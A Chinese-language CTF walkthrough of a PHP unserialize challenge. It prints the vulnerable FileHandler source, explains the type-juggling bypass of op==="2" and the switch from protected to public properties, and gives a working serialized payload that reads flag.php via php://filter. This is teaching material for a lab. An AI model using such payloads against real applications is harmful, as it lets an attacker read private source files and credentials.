知识点
- file_get_content()可以读取php://filter伪协议
- protected/private类型的属性序列化后产生不可打印字符,public类型则不会
- PHP7.1+对类的属性类型不敏感
- 强弱类型比较“===”、“==”
启动靶机
打开题目,给了我们源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
查看代码可以看出来,GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。
在反序列化的过程中,调用__destruct析构方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果op===”2”,将其赋为”1”,同时content赋为空,进入process函数,需要注意到的地方是,这里op与”2”比较的时候是强类型比较
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
进入process函数后,如果op==”1”,则进入write函数,若op==”2”,则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较==。
以我们只要令op=2,这里的2是整数int。当op=2时,op===”2”为false,op==”2”为true,接着进入read函数
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
整个利用思路就很明显了,还有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。
对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。
在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
构造Payload
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
得到:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}